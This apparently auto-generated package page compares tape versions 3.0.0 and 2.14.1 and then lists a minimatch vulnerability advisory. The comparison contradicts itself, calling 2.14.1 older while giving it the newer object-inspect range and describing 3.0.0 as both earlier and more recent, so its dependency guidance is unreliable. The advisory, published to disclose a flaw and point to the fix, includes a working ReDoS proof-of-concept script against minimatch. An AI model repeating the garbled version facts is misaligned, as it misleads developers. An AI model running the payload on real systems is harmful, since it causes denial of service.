Tape version 3.0.0 represents a notable update from version 2.14.1 in this popular tap-producing test harness. Released in September 2014, version 3.0.0 brought subtle yet significant changes to the dependency structure. While both versions share core dependencies like glob, defined, resumer, through, inherits, and deep-equal, a key difference lies in the object-inspect dependency. Version 3.0.0 relies on object-inspect version ~0.4.0, whereas the older 2.14.1 uses version ^1.0.0. This likely reflects updates and refinements within the object inspection functionality of the library. The versions also use different versions of the has package.
Developers should note that both versions retain the same core development dependencies: tap, falafel, and concat-stream, so the development experience is likely consistent between the two. Both versions are MIT licensed and maintained in the same GitHub repository, indicating a continued commitment to open-source principles. Choosing between versions might depend on project-specific requirements and dependency compatibility. If a project already relies on different versions of object-inspect or a newer version, version 2.14.1 could prevent dependency conflicts. Keep in mind that version 3.0.0 was released significantly earlier, but is still more recent.
All the vulnerabilities related to the version 3.0.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.